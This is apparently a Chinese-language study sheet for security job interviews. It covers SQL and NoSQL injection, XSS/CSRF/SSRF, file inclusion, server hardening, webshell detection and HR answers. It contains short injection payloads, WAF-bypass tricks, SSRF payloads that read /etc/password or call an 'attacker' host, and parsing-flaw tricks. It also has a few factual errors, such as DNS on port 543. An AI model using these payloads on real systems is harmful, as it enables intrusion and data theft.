Oracle 11g 00 0A 0D 0C 09 20 
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

使用sql内置函数或者关键字

报错注入 https://blog.csdn.net/like98k/article/details/79646512

# 常用
extractvalue
updatexml 报错注入
UPDATEXML (XML_document, XPath_string, new_value); 
or updatexml(1, concat(0x7e, (version()), 0x7e), 0);
> select * from  users where id = 1 and updatexml(1, concat(0x7e, (version()), 0x7e), 0);
> version() database() (SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1

floor()
ceil()
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
concat(version(),'|',user());
concat_ws('|',1,2,3)
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号：
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号：
mid(version() from 1 for 1)

利用容器特性，比如iis+asp的环境可能会吞掉%(f%rom->from)造成注入，或者iis支持unicode解析，当我们请求的url存在unicode字符串的话iis会自动将其转换，但waf可能不会拦截造成注入
畸形协议/请求。asp/asp.net在解析请求的时候，允许application/x-www-form-urlencoded的数据提交方式;php+apache解析协议除了get/post外随便定义协议也可能过
%0a换行
多次URL编码，waf的一根筋过滤

unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize

http参数污染，id=1&id=2&id=3 id=1,2,3

如何进行SQL注入的防御

关闭应用的错误提示
加waf
对输入进行过滤
限制输入长度
限制好数据库权限，drop/create/truncate等权限谨慎grant
预编译好sql语句，python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入，只能说一定程度上防止注入。还有缓存溢出、终止字符等。
数据库信息加密安全（引导到密码学方面）。不采用md5因为有彩虹表，一般是一次md5后加盐再md5
清晰的编程规范，结对/自动化代码 review ，加大量现成的解决方案（PreparedStatement，ActiveRecord，歧义字符过滤，只可访问存储过程 balabala）已经让 SQL 注入的风险变得非常低了。
具体的语言如何进行防注入，采用什么安全框架

作者：没啥意思
链接：https://www.zhihu.com/question/22953267/answer/23222069
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

SQL注入问题既不能“靠用户（开发者也是用户）的自觉去避免”，也不能完全脱离用户（开发者也是用户）而指望数据库层面去避免。对于那些不了解SQL注入漏洞细节或不关心SQL注入漏洞或没精力去关心SQL注入漏洞的工程师，你要给他们一条尽可能简单可行透明的方案来避免SQL注入漏洞，告诉他这样写就可以了，这就是安全框架；然后告诉他或者让他的老大告诉他你必须这样写，这就是安全编码规范；然后你有手段在他没有这样写的时候能够检查出来（这比检查出漏洞要容易）并推动他改正，这就是白盒检查。

我们现在的互联网产品SQL注入漏洞仍然层出不穷，并不是这套思路有问题，相反恰恰是这套思路没有完善。一方面是框架方案本身不完善，以SQL注入漏洞为例，参数化是防SQL注入框架级方案的重要部分，但仅靠参数化没法很好满足开发过程中一些常见需求，如逗号分割的id列表问题、排序标记的问题等等（其实这些问题真要用参数化的方案解决也可以），使得开发更愿意在这些地方使用非参数化或伪参数化的方法（比如拼接SQL片段后再把整个片段当作参数扔进去exec）。这些问题在参数化的基础上，再加以改进，仍然守着拼接SQL片段时进行强类型转换的思路，仍然是能很好解决的，也就是继续完善参数化方案的问题，而不是看上去那样“参数化解决不了问题”。另一方面，安全编码规范的制定、培训、流程建设和实施保证上也做得远远不到位，开发leader们更希望后面的数据库或者前面的安全防御上能有手段去解决SQL注入问题，对于安全工程师来说，设置并维护几个特征串、语法分析场景也远比做那些安全框架、编码规范、白盒扫描来得要轻松实在，彼此在心照不宣中度过今天，自然不能指望明天能彻底踏实。

mysql的网站注入，5.0以上和5.0以下有什么区别？

10年前就出了5.0，现在都到5.7了，没啥意义的问题

5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。
5.0以下是多用户单操作，5.0以上是多用户多操做。

SQL和NoSQL的区别

SQL关系型数据库，NoSQL(Not only SQL)非关系型数据库

SQL优点

关系型数据库是指用关系数学模型来表示的数据，其中是以二维表的形式描述数据。

结构稳定，不易修改，常用联表查询
查询能力高，可以操作很复杂的查询
一致性高，处理数据会使用封锁保证数据不被改变
表具有逻辑性，易于理解

SQL缺点

不适用高并发读写
不适用海量数据高效读写
层次多，扩展性低
维护一致性开销大
涉及联表查询，复杂，慢

NoSQL优点

采用键值对存储数据

由于数据之间没有关系，所以易扩展，也易于查询
数据结构灵活，每个数据都可以有不同的结构
由于降低了一致性的要求，所以查询速度更快

比较

非关系型数据库的产生是因为随着网站的进化，并发性增加，扩展性高，一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余，并且消耗着性能。因此有了非关系型数据库，它可以算是关系型数据库的一种弱化的结果，在海量数据存储和查询上更胜一筹。

两种数据库没有好坏之分，只是使用的环境不一样。关系型数据库可以说是更严谨的，可靠性更强的数据库，在对于数据精度要求高的环境，比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度，但是对于数据的准确度没有那么高，对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。

MongoDB注入方式

利用正则：找到y开头的name db.items.find({name: {$regex: "^y"}})

一些payload

?login[$regex]=^&password[$regex]=^
?login[$not][$type]=1&password[$not][$type]=1

XSS CSRF XXE

CSRF 和 XSS 和 XXE 有什么区别，以及修复方式？

xss学习 https://www.secpulse.com/?s=+那些年我们一起学XSS+

XSS是跨站脚本攻击，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击，XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.

XXE是XML外部实体注入攻击，XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML解析库在调用时严格禁止对外部实体的解析。

CSRF、SSRF和重放攻击有什么区别？

CSRF是跨站请求伪造攻击，由客户端发起
SSRF是服务器端请求伪造，由服务器发起
重放攻击是将截获的数据包进行重放，达到身份认证等目的

啥是同源策略，跨域有几种方式？

http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html

浏览器安全的基石是"同源政策"，目的是为了保证用户的信息安全，防止恶意网站窃取数据，避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源，有三种行为收到限制：
- Cookie、LocalStorage 和 IndexDB 无法读取。
- DOM 无法获得。
- AJAX 请求不能发送

如何规避同源策略？

JSONP

向服务器请求json数据回调，一般请求URL会加上&callback=xx

foo({
  "ip": "8.8.8.8"
});

由于<script>元素请求的脚本，直接作为代码运行。这时，只要浏览器定义了foo函数，该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象，而不是字符串，因此避免了使用JSON.parse的步骤。

JSONP的劫持

http://blog.knownsec.com/2015/03/jsonp_security_technic/

防御：

验证 JSON 文件调用的来源（ Referer ），但是Referer 过滤（正则）不严谨、空 Referer也不行
随机token

WebSocket

WebSocket是一种通信协议，使用ws://（非加密）和wss://（加密）作为协议前缀。该协议不实行同源政策，只要服务器支持，就可以通过它进行跨源通信。

CORS(重点)

http://www.ruanyifeng.com/blog/2016/04/cors.html

CORS是跨源资源分享（Cross-Origin Resource Sharing）的缩写。它是W3C标准，是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求，CORS允许任何类型的请求。
CORS请求大致和ajax请求，但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话，服务器返回的响应会多出Acess-Control-Allow-*的字段

与JSONP的比较

CORS与JSONP的使用目的相同，但是比JSONP更强大。

JSONP只支持GET请求，CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器，以及可以向不支持CORS的网站请求数据。

DOM XSS与反射XSS有啥不同，给你10s，如何快速判断一个XSS是否是DOM XSS？

https://www.zhihu.com/question/26628342

存储型XSS：你发送一次带XSS代码的请求，以后这个页面的返回包里都会有XSS代码；

反射型XSS：你发送一次带XSS代码的请求，只能在当前返回的数据包中发现XSS代码；

DOM型XSS：你发送一次带XSS代码的请求，在返回包里压根儿就找不到XSS代码的影子；

CSP策略

https://www.zhihu.com/question/21979782
浏览器内容安全策略，减少xss攻击。

SSRF漏洞原理是什么？利用时有哪些伪协议？

secpulse.com/archives/65832.html

漏洞原理

利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

ssrf用处

探测内网信息,用协议探ftp%26ip={ip}%26port={port}
攻击内网或本地其他服务
穿透防火墙

漏洞处

能够对外发起网络请求的地方
请求远程服务器资源的地方
数据库内置功能
邮件系统
文件处理
在线处理工具

举几个例子：

在线识图，在线文档翻译，分享，订阅等，这些有的都会发起网络请求。
根据远程URL上传，静态资源图片等，这些会请求远程服务器的资源。
数据库的比如mongodb的copyDatabase函数，这点看猪猪侠讲的吧，没实践过。
邮件系统就是接收邮件服务器地址这些地方。
文件就找ImageMagick，xml这些。
从URL关键字中寻找，比如：source,share,link,src,imageurl,target等。

绕过姿势

http://example.com@127.0.0.1
利用IP地址的省略写法绕过,[::]绕过localhost
DNS解析 http://127.0.0.1.xip.io/ 可以指向任意ip的域名：xip.io
利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过

利用协议

https://www.secpulse.com/archives/70471.html

接受ua为curl的时候，支持的协议有

使用curl -v http://xx.com/ssrf.php?url=sxxx

file://
ssrf.php?url=file:///etc/password
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://

漏洞修复

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

检查是否为内网IP地址
绕过方法:
利用八进制IP地址绕过
利用十六进制IP地址绕过
利用十进制的IP地址绕过
利用IP地址的省略写法绕过
最好的做法：IP地址转换为整数再进行判断
获取真正请求的host
1. 如何正确的获取用户输入的URL的Host？
  最常见的就是，使用http://233.233.233.233@10.0.0.1:8080/、http://10.0.0.1#233.233.233.233这样的URL，让后端认为其Host是233.233.233.233，实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误，有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname
2. 只要Host只要不是内网IP即可吗？
  host可能为ip,可能为域名，利用xip.io绕过。方法：判断是否为http协议，获取url的host，再解析该host，将解析到的ip再进行检查
3. 只要Host指向的IP不是内网IP即可吗？
  不一定，可能会30x跳转

归纳
解析目标URL，获取其Host
解析Host，获取Host指向的IP地址
检查IP地址是否为内网IP
请求URL
如果有跳转，拿出跳转URL，执行1

在浏览器端，Referer可以篡改吗？

通过插件修改，一般抓包修改

xss盲打到内网服务器的利用

xss代码层防御

文件上传下载遍历漏洞

原理

容器漏洞，解析漏洞

修复方案

文件包含漏洞

https://blog.csdn.net/fuckcat_2333/article/details/52132559

类型

本地文件包含
远程文件包含：即加载远程文件，在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。

PHP文件包含函数

include() ：使用此函数，只有代码执行到此函数时才将文件包含进来，发生错误时只警告并继续执行。
inclue_once() ：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。
require()：使用此函数，只要程序执行，立即调用此函数包含文件，发生错误时，会输出错误信息并立即终止程序。
require_once() ：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。

利用

读取敏感文件
远程包含shell
图片上传并包含图片shenll
使用伪协议
包含日志文件GetShell
截断包含

修复方案

禁止远程文件包含 allow_url_include=off
配置 open_basedir=指定目录，限制访问区域。
过滤../等特殊符号
修改Apache日志文件的存放地址
开启魔术引号 magic_quotes_qpc=on
尽量不要使用动态变量调用文件，直接写要包含的文件。

web框架漏洞弱点

服务端注入之Flask框架中服务端模板注入问题

http://www.freebuf.com/articles/web/135953.html

HTTP协议

TCP三次握手四次挥手

三次握手

客户端 syn 发送到服务端，变成 SYN_SENT 状态
服务端 ack=syn+1 回传syn到客户端，变成SYN_RECV状态
客户端 ack=syn+1，变成ESTABLISHED状态，传输给服务端
服务端收到ACK后变成ESTABLISHED状态，建立连接

SYN标志位为表示请求连接，ACK表示确认

四次挥手

客户端=主动关闭方

客户端FIN->服务端
服务端ACK=FIN+1->客户端，服务端到客户端的连接关闭
服务端FIN->客户端
客户端ACK=FIN+1->服务端

假设Client端发起中断连接请求，也就是发送FIN报文。Server端接到FIN报文后，意思是说"我Client端没有数据要发给你了"，但是如果你还有数据没有发送完成，则不必急着关闭Socket，可以继续发送数据。所以你先发送ACK，“告诉Client端，你的请求我收到了，但是我还没准备好，请继续你等我的消息”。这个时候Client端就进入FIN_WAIT状态，继续等待Server端的FIN报文。当Server端确定数据已发送完成，则向Client端发送FIN报文，“告诉Client端，好了，我这边数据发完了，准备好关闭连接了”。Client端收到FIN报文后，"就知道可以关闭连接了，但是他还是不相信网络，怕Server端不知道要关闭，所以发送ACK后进入TIME_WAIT状态，如果Server端没有收到ACK则可以重传。“，Server端收到ACK后，“就知道可以断开连接了”。Client端等待了2MSL后依然没有收到回复，则证明Server端已正常关闭，那好，我Client端也可以关闭连接了。Ok，TCP连接就这样关闭了！

MSL=最大段寿命=TTL=最大生存时间=255s

四层模型

应用层
应用层对应于OSI参考模型的高层，为用户提供所需要的各种服务，例如：FTP、Telnet、DNS、SMTP等.
传输层
传输层对应于OSI参考模型的传输层，为应用层实体提供端到端的通信功能，保证了数据包的顺序传送及数据的完整性。该层定义了两个主要的协议：传输控制协议（TCP）和用户数据报协议（UDP).
TCP协议提供的是一种可靠的、通过“三次握手”来连接的数据传输服务；而UDP协议提供的则是不保证可靠的（并不是不可靠）、无连接的数据传输服务.
网际互联层
网际互联层对应于OSI参考模型的网络层，主要解决主机到主机的通信问题。它所包含的协议设计数据包在整个网络上的逻辑传输。注重重新赋予主机一个IP地址来完成对主机的寻址，它还负责数据包在多种网络中的路由。该层有三个主要协议：网际协议（IP）、互联网组管理协议（IGMP）和互联网控制报文协议（ICMP）。
IP协议是网际互联层最重要的协议，它提供的是一个可靠、无连接的数据报传递服务。
网络接入层（即主机-网络层）
网络接入层与OSI参考模型中的物理层和数据链路层相对应。它负责监视数据在主机和网络之间的交换。事实上，TCP/IP本身并未定义该层的协议，而由参与互连的各网络使用自己的物理层和数据链路层协议，然后与TCP/IP的网络接入层进行连接。地址解析协议（ARP）工作在此层，即OSI参考模型的数据链路层。

当你输入一个网址，点击访问，会发生什么？

查找DNS记录

查看浏览器缓存
查看系统缓存
查看路由器缓存
查找ISP DNS缓存
递归搜索。根据网址，发送一个DNS请求，UDP请求，端口为543，会请求一个DNS服务器，DNS服务器会不断递归查找这个网址的IP

建立连接

跟获取到的IP建立TCP连接，在TCP连接上发送HTTP报文

常见的状态码

OSI七层

物理层、数据链路层、网络层、传输层(TCP，UDP)、会话层(RPC，SQL)、表示层(定义数据格式及加密)、应用层(TELNET，HTTP，FTP)

OSI四层

路由协议

你搭建过的最复杂的网络设备是什么

使用过什么硬件设备

Linux运维

启动过程

Linux基线规范

每个公司有每个公司的基线规范体系，但是答题分为下列五个方面

账号管理和授权

检查特殊账号，是否存在空密码的账户和root权限账户
禁用或删除无用账号
添加口令策略:/etc/login.defs修改配置文件，设置过期时间、连续认证失败次数
禁止root远程登录，限制root用户直接登录。
检查su权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test

服务

关闭不必要的服务
SSH服务安全
- 不允许root账号直接登录系统，PermitRootLogin=no
- 修改SSH使用的协议版本为2
- 修改允许密码错误次数（默认6次），MaxAuthTries=3

文件系统

设置umask值 vi /etc/profile 添加行 umask 027
设置登录超时 vi /etc/profile 修改配置文件，将以 TMOUT= 开头的行注释，设置为 TMOUT=180

日志

启用syslogd日志，配置日志目录权限，或者设置日志服务器
记录所有用户的登录和操作日志，通过脚本代码实现记录所有用户的登录操作日志，防止出现安全事件后无据可查。https://www.alibabacloud.com/help/zh/faq-detail/49809.htm

IP协议安全要求

远程登录取消telnet采用ssh
设置/etc/hosts.allow和deny
禁止ICMP重定向
禁止源路由转发
防ssh破解，iptables(对已经建立的所有链接都放行，限制每分钟连接ssh的次数)+denyhost(添加ip拒绝访问)

中间件基线规范（APACHE）

https://www.alibabacloud.com/help/zh/faq-detail/52981.htm

配置

账号
授权
日志
session过期时间（防ddos
绑定监听地址

禁止

目录权限
访问外部文件
CGI
非法HTTP方法（PUT DELETE）

隐藏

服务版本号
重定向错误页面

删除

配置文件
默认安装的无用文件

webshell检测思路

https://blog.csdn.net/u011066706/article/details/51175971

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。

黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件，是一个合法的TCP连接，TCP/IP的应用层之下没有任何特征，只能在应用层进行检测。黑客入侵服务器，使用webshell，不管是传文件还是改文件，必然有一个文件会包含webshell代码，很容易想到从文件代码入手，这是静态特征检测；webshell运行后，B/S数据通过HTTP交互，HTTP请求/响应中可以找到蛛丝马迹，这是动态特征检测。

静态检测

静态检测通过匹配特征码，特征值，危险函数函数来查找webshell的方法，只能查找已知的webshell，并且误报率漏报率会比较高，但是如果规则完善，可以减低误报率，但是漏报率必定会有所提高。

优点是快速方便，对已知的webshell查找准确率高，部署方便，一个脚本就能搞定。缺点漏报率、误报率高，无法查找0day型webshell，而且容易被绕过。

静态检测配合人工

一个检查工具 https://github.com/he1m4n6a/findWebshell

动态检测

Linux下就是nobody用户起了bash，Win下就是IIS User启动cmd，这些都是动态特征。再者如果黑客反向连接的话，那很更容易检测了，Agent和IDS都可以抓现行。Webshell总有一个HTTP请求，如果我在网络层监控HTTP，并且检测到有人访问了一个从没反问过得文件，而且返回了200，则很容易定位到webshell，这便是http异常模型检测，就和检测文件变化一样，如果非管理员新增文件，则说明被人入侵了。

缺点也很明显，黑客只要利用原文件就很轻易绕过了，并且部署代价高，网站时常更新的话规则也要不断添加。

日志检测

使用Webshell一般不会在系统日志中留下记录，但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件，称之为：HTTP异常请求模型检测。

语法检测

实现关键危险函数的捕捉方式

统计学检测

webshell由于往往经过了编码和加密，会表现出一些特别的统计特征，根据这些特征统计学习。
典型的代表: NeoPI – https://github.com/Neohapsis/NeoPI

防范webshell

https://blog.csdn.net/nohaoye/article/details/46987587

防范的措施大概有三种，第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件，解析成其他类型的文件，服务器不会以脚本类型来执行它。第二种是匹配文件夹里的脚本类型文件，将其设置为无法读取及操作。第三种是将文件上传到一个单独的文件夹，给一个二级的域名，然后不给这个虚拟站点解析脚本的权限，听说很多网站都用这种方式。

计划任务

https://blog.csdn.net/kx_nullpointer/article/details/21299873

at
batch
crontab
anacron：检测停机期间应该执行但是没有执行的任务，将检测到的任务检测一次

自动化运维编写过什么脚本

yum用的什么源（本地自搭，挂载）

awk sed的使用

排错思路，排错经验

网络防火墙配置权限

日志分析ELK的使用和分析

https://www.zhihu.com/question/21427267

Elasticsearch是个开源分布式搜索引擎，它的特点有：分布式，零配置，自动发现，索引自动分片，索引副本机制，restful风格接口，多数据源，自动搜索负载等。
Logstash是一个完全开源的工具，他可以对你的日志进行收集、过滤，并将其存储供以后使用（如，搜索）。
Kibana 也是一个开源和免费的工具，它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面，可以帮助您汇总、分析和搜索重要数据日志。

举例-阿里规范
用户历史命令记录

缺点：安全性不够。使用x-pack实现安全认证及权限管理功能

事件发生的分析

用户权限管理(修改)

防火墙

IPsec VPN

安全监控工具

web进入->堡垒机->内部防御HIDS->内部监控，日志审计
zabbix性能监控工具
HIDS

Linux木马查杀

常见的设备有啥

防火墙 utm 负载均衡设备
IPS IDS(HIDS基于主机型入侵检测系统)
堡垒机
蜜罐
网闸
waf
扫描器
soc(ossim开源安全信息管理系统)

Windows运维

基线规范

木马查杀

脱壳，反汇编

计划任务

控制面板-管理工具-计划任务，在“任务计划程序库”上右键–创建基本任务
schtasks命令
语法:
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/scomputer [/u [domain]user /p password]] [/ru {[Domain]User | "System"} [/rpPassword]] /?

ISO27000和等保(重点等保)

说一下ISO27000

ISO27000是国际知名的信息安全管理体系标准，适用于整个企业，不仅仅是IT部门，还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理，从而使管理更为有效。保证信息安全不是仅有一个防火墙，或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。

PDCA（plan do check action）管理循环

说一下等级保护制度

《信息安全等级保护管理办法》是为规范信息安全等级保护管理，提高信息安全保障能力和水平，维护国家安全、社会稳定和公共利益，保障和促进信息化建设，根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。

差异

浅谈信息安全等级保护与ISO27000系列标准的异同 ISSN 1009-3044

等保是以国家安全、社会秩序和公共利益为出发点，构建国家的安全保障体系。27000系列是以保证组织业务的连续性，缩减业务风险，最大化投资收益为目的，保证组织的业务安全

共性

算法

排序算法：快排二分冒泡

LDAP注入

http://www.4hou.com/technology/9090.html
https://blog.csdn.net/quiet_girl/article/details/50716312

Christmas

第一面HR面

问题

HR面

注意！HR面试的时候会有非常多的坑，熟悉我在这里写的问题，回答的时候情商高一点，不要跟HR吵起来，也不要有不合时宜的意见分歧，这个度最好自己能让同学、朋友担任面试官，多多挑你的刺，不断练习自己的反应能力。技术面试通过的，在HR这边通不过的例子是有很多的！

问题

对我们公司有什么了解，为什么选择本公司

在信息安全行业比较知名，了解过公司的xx产品。（每次面试某个公司，都要花5-10分钟了解该公司的产品）

为什么想要应聘这个职位

从我的经历上可以很清楚地看到我对网络安全的浓厚兴趣，我认为对本职工作有兴趣的人才能更好地完成这个工作。另外也有一句话说得很棒，“你之所以看不见黑暗，是因为有人拼命把它挡在你看不到的地方”，我认为做信息安全的尤其是渗透测试，就是为了更好地保护用户的安全，防患于未然，也是我想要应聘这个岗位的理由。（不要照背，体现自己的热爱和专业能力）

对安全服务是怎么理解的

安全服务对象是人，渗透测试对象是网站。（我的理解）

安全概念和资讯
安全工具使用
渗透测试
安全基线检查
应急响应
代码审计
安全边界建设
安全规范

如果我不知道渗透测试，两分钟说一下

（此处自行组织语言，力求能将渗透测试讲得浅显易懂，时间控制在三分钟以内）

如果我是一个汽车厂商，你如何证明你的工作是有意义的？

（对于不懂得安全的人来说，怎么能说服他需要进行渗透测试，渗透测试有什么作用）

作为应届生，你如何能胜任该职位

正如前方所说，我学习能力很强，主观能动性强，能很快地做好下派的任务，所以我认为我能很好地胜任这个职位

你有什么职业规划

渗透测试工程师-渗透测试项目负责人-安全架构师（安全咨询顾问）

如果离职的话是因为什么原因

个人规划和公司有冲突，缺少上升空间。（就算是因为钱少、和同事 <del>打架</del> 不和，也不要明说……）

你有什么优缺点

优点：对网络安全十分热爱，抗压能力强，学习能力强，责任感强
缺点：遇到技术难点时可能会一直钻研，可能会耽搁到其它事情（情商高一点，不要真的说自己的缺点）

对于薪资的要求

月薪13-15K，可以接受1k的浮动

给不了这么多工资可以接受吗？为什么想要这个数？

贵公司和我其实比较契合，我可以接受月薪1k左右的浮动。（表明自己的接受范围和立场）
可能我某些方面表现得不够好或者表达不清晰，让您觉得我的能力不够。您可以根据这些点再问我几个问题。（表明自己对自身的判断，认为自己值得这个数，委婉提示面试官可能判断有误）
通过贵司的招聘信息和整个市场平均水平看，我认为我岗位匹配度比较好，值得这个工资水平。（明确回答，要有自信）
（这个问题千万不要顶嘴或拍桌走人，可参考我的知乎回答面试想拿 10K，HR 说你只值 7K，该怎样回答或者反驳？ - 李与归的回答 - 知
https://www.zhihu.com/question/282880854/answer/432987673）

进入部门后，你需要多长时间进入项目？

（表达自己的快速学习能力）

上一个面试的人能力跟你差不多，但是工资方面比你要的低？

（表达综合素质方面，比如沟通能力好、领导能力好、文档能力好等等）

是否可以接受加班

加班肯定是不可避免的，我可以接受项目需求的加班，毕竟完成工作是员工所要尽到的责任。同时我也会提高自己的工作效率，配合完成工作。（同样的，情商高一点，口头说要加班，入职之后要不要加班不就是……:>）

（沟通能力）和领导、同事产生分歧会怎么办

出现分歧是十分正常的事情，产生分歧很有可能是双方理解不一样，如何有效沟通、相互理解才是重中之重。在我看来还是会以大局出发，以有益于公司和客户的方向出发。

工作一段时间后，发现工作不是想象中的，会怎么办/对跳槽的看法

我在找工作之前，都会了解好这份工作的具体职责，如果我工作一段时间后发现工作不是想象中的，那只能说明职业目标不够清晰

对上司有什么要求？喜欢和什么样的领导合作？

我来求职都是为了能找到一个希望能提升自己的平台，我希望更能找到一个技术经验丰富的领导。

最有影响的一件事/人

（最好是在安全领域方面的）

你还要问什么问题

个人：有没有岗位晋升机制，入职培训项目，员工培训提升项目。五险一金，社保比例，饭补、餐补、交通补助
公司：岗位具体职责
具体工作内容？会不会经常出差？
试用期多久？薪水多少？

Christmas

Web安全面试题

68747470733a2f2f692e6c6f6c692e6e65742f323031392f30322f32382f356337373939393962613735362e6a7067.jpeg

介绍一下自认为有趣的挖洞经历（或CTF经历）
你平时用的比较多的漏洞是哪些？相关漏洞的原理？以及对应漏洞的修复方案？
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后,你会如何做应急响应?
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做？请写出曾经绕过WAF的经过(SQLi，XSS，上传漏洞选一)
SQLi
如何判断sql注入，有哪些方法
介绍 SQL 注入漏洞成因，如何防范？注入方式有哪些？除了数据库数据，利用方式还有哪些？
为什么有的时候没有错误回显，用php举例
宽字符注入的原理？如何利用宽字符注入漏洞，payload如何构造？
你都了解哪些sql 的bypass技巧
CRLF注入的原理
sqlmap如何对一个注入点注入?
- 如果是get型，直接，sqlmap -u “注入点网址”.
- 如果是post型，可以sqlmap -u “注入点网址” –data=”post的参数”
- 如果是cookie，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用*号替换，放到文件里，然后sqlmap -r “文件地址”
mysql的网站注入，5.0以上和5.0以下有什么区别？
- 5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。
- 5.0以下是多用户单操作，5.0以上是多用户多操做。
mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？
root权限以及网站的绝对路径。
以下链接存在 sql 注入漏洞，对于这个变形注入，你有什么思路？

demo.do?DATA=AjAxNg==

Domain
解释一下同源策略
同源策略，那些东西是同源可以获取到的
如果子域名和顶级域名不同源，在哪里可以设置叫他们同源
如何设置可以跨域请求数据？jsonp是做什么的？
Ajax
Ajax是否遵循同源策略？
json注入如何利用
浏览器策略
不同浏览器之间，安全策略有哪些不同，比如chrome，firefox，IE
CSP是什么？如何设置CSP？
XSS
xss的发生场景？
如果给你一个XSS漏洞，你还需要哪些条件可以构造一个蠕虫？
在社交类的网站中，哪些地方可能会出现蠕虫？
如果叫你来防御蠕虫，你有哪些方法？
如果给你一个XSS盲打漏洞，但是返回来的信息显示，他的后台是在内网，并且只能使用内网访问，那么你怎么利用这个XSS？
如何防范 XSS 漏洞，在前端如何做，在后端如何做，哪里更好，为什么？
PHP
php里面有哪些方法可以不让错误回显？
php.ini可以设置哪些安全特性
php的%00截断的原理是什么？
webshell检测，有哪些方法
php的LFI，本地包含漏洞原理是什么？写一段带有漏洞的代码。手工的话如何发掘？如果无报错回显，你是怎么遍历文件的？
CSRF
CSRF漏洞的本质是什么？
防御CSRF都有哪些方法，JAVA是如何防御CSRF漏洞的，token一定有用么？
HTML5
说说HTML5有哪些新的安全特性
HTML5白名单要有哪些标签
java
你都了解哪些java框架？
java的MVC结构都是做什么的，数据流向数据库的顺序是什么？
了解java沙箱吗？
ibats的参数化查询能不能有效的控制sql注入？有没有危险的方法可以造成sql注入？
说说两次struts2漏洞的原理
ongl在这个payload中起了什么作用？
\u0023是什么字符的16进制编码？为什么在payload中要用他？
java会不会发生执行系统命令的漏洞？java都有哪些语句，方法可以执行系统命令
如果叫你修复一个xss漏洞，你会在java程序的那个层里面进行修复？
xss filter在java程序的哪里设置？
说下java的类反射在安全上可能存在哪些问题
中间件
tomcat要做哪些安全加固？
如果tomcat重启的话，webapps下，你删除的后台会不会又回来？
常见的网站服务器中间件容器。
IIS、Apache、nginx、Lighttpd、Tomcat
JAVA中间件[Tomcat/Jetty/JBOSS/WebLogic/Coldfusion/Websphere/GlassFish]
说说常见的中间件解析漏洞利用方式
IIS 6.0
- /xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5
- 默认Fast-CGI开启，直接在url中图片地址后面输入/1.php，会把正常图片当成php解析
Nginx
- 版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CGI关闭情况下也可利用。
- 空字节代码 xxx.jpg%00.php
Apache
- 上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀
lighttpd
- xx.jpg/xx.php
数据库
mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件?
1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32，在windows2000下放置于c:\winnt\system32。
